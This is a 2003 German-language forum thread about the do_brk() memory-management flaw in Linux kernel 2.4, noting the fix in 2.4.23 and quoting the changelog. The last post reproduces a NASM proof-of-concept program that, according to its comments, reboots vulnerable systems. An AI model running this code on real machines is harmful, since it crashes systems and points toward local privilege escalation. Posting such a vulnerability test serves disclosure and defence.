Sicherheitsrisiko: in der do_brk() funktion von Linux 2.4(.23)

#0
02.12.2003, 17:56
Member
Avatar Xeper

Beiträge: 5291
#1 Problem in der x86er Speicherverwaltung von Linux release 2.4 entdeckt.
Erfolgreiches exploiting führt zur erhaltung der effektiven uid 0.
Bis jetz gibt es kein patch der dies behebt. Alles weitere auf dieser URL:

http://isec.pl/vulnerabilities/isec-0012-do_brk.txt

Edit:

http://securityfocus.com/archive/1/346175/2003-11-29/2003-12-05/0
__________
E-Mail: therion at ninth-art dot de
IRC: megatherion @ Freenode
Dieser Beitrag wurde am 02.12.2003 um 18:03 Uhr von Xeper editiert.
Seitenanfang Seitenende
02.12.2003, 19:06
Ehrenmitglied

Beiträge: 831
#2 Ich muss dich leider berichtigen Xeper.

Es gibt einen Patch

Mit dem vor wenigen Tagen erschienen 2.4.23 Kernel ist der Patch enthalten.
Genaugesagt war dies schon seit Kernel-2.4.23-pre7 und 2.6-test6 behoben.

Gruss p2k
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
02.12.2003, 21:01
Member

Themenstarter
Avatar Xeper

Beiträge: 5291
#3 soso okay - wußte ich nicht.
Mal in den changeslogs nachschaun.
Das 2.6 das Problem nicht hat ist mir klar.

<marcelo:dmt.cyclades>:
o Fix missing part of Centrino cache detection change
o Add TASK_SIZE check to do_brk()

okay das scheint ja zu stimmen
__________
E-Mail: therion at ninth-art dot de
IRC: megatherion @ Freenode
Dieser Beitrag wurde am 02.12.2003 um 21:09 Uhr von Xeper editiert.
Seitenanfang Seitenende
04.12.2003, 08:13
Ehrenmitglied

Beiträge: 831
#4

Code

Linux Kernel 2.4.22 "do_brk()" local Root Exploit (PoC)


; The following program can be used to test if a x86 Linux system
; is vulnerable to the do_brk() exploit; use at your own risk.
; by Christophe Devine
; Linux Kernel 2.4.22 "do_brk()" Proof of Concept
; Advisory FR : http://www.k-otik.net/bugtraq/12.02.Kernel.2422.php

;$ nasm brk_poc.asm -o a.out
;$ chmod 755 a.out
;
;$ uname -a
;Linux test3 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown unknown GNU/Linux
;$ ./a.out &
;[1] 1698
;$ cat /proc/`pidof a.out`/maps
;bffff000-c0000000 rwxp 00000000 03:03 376860     /tmp/a.out
;c0000000-c0003000 rwxp 00000000 00:00 0
;
;(system reboots when the program exits)

;$ uname -a
;Linux test3 2.4.23 #1 Mon Dec 1 22:18:25 CET 2003 i686 unknown unknown GNU/Linux
;$ ./a.out &
;[1] 1591
;$ cat /proc/`pidof a.out`/maps
;bffff000-c0000000 rwxp 00000000 03:03 376860     /tmp/a.out
;
;(the program exits gracefully)
;
;$ cat brk_poc.asm

  BITS 32

                org     0xBFFFF000

  ehdr:                                                 ; Elf32_Ehdr
                db      0x7F, "ELF", 1, 1, 1            ;   e_ident
        times 9 db      0
                dw      2                               ;   e_type
                dw      3                               ;   e_machine
                dd      1                               ;   e_version
                dd      _start                          ;   e_entry
                dd      phdr - $$                       ;   e_phoff
                dd      0                               ;   e_shoff
                dd      0                               ;   e_flags
                dw      ehdrsize                        ;   e_ehsize
                dw      phdrsize                        ;   e_phentsize
                dw      1                               ;   e_phnum
                dw      0                               ;   e_shentsize
                dw      0                               ;   e_shnum
                dw      0                               ;   e_shstrndx

  ehdrsize      equ     $ - ehdr

  phdr:                                                 ; Elf32_Phdr
                dd      1                               ;   p_type
                dd      0                               ;   p_offset
                dd      $$                              ;   p_vaddr
                dd      $$                              ;   p_paddr
                dd      filesize                        ;   p_filesz
                dd      0x4000                          ;   p_memsz
                dd      7                               ;   p_flags
                dd      0x1000                          ;   p_align


  phdrsize      equ     $ - phdr

  _start:

                mov     eax, 162
                mov     ebx, timespec
                int     0x80

                mov     eax, 1
                mov     ebx, 0
                int     0x80

  timespec      dd      20,0

  filesize      equ     $ - $$



Quelle : k-otik
__________
http://linux.regionnet.de/ - http://www.pf-lug.de/ - http://www.4logistic.de/ - http://www.pfenz.de
Seitenanfang Seitenende
Um auf dieses Thema zu ANTWORTEN
bitte erst » hier kostenlos registrieren!!

Folgende Themen könnten Dich auch interessieren: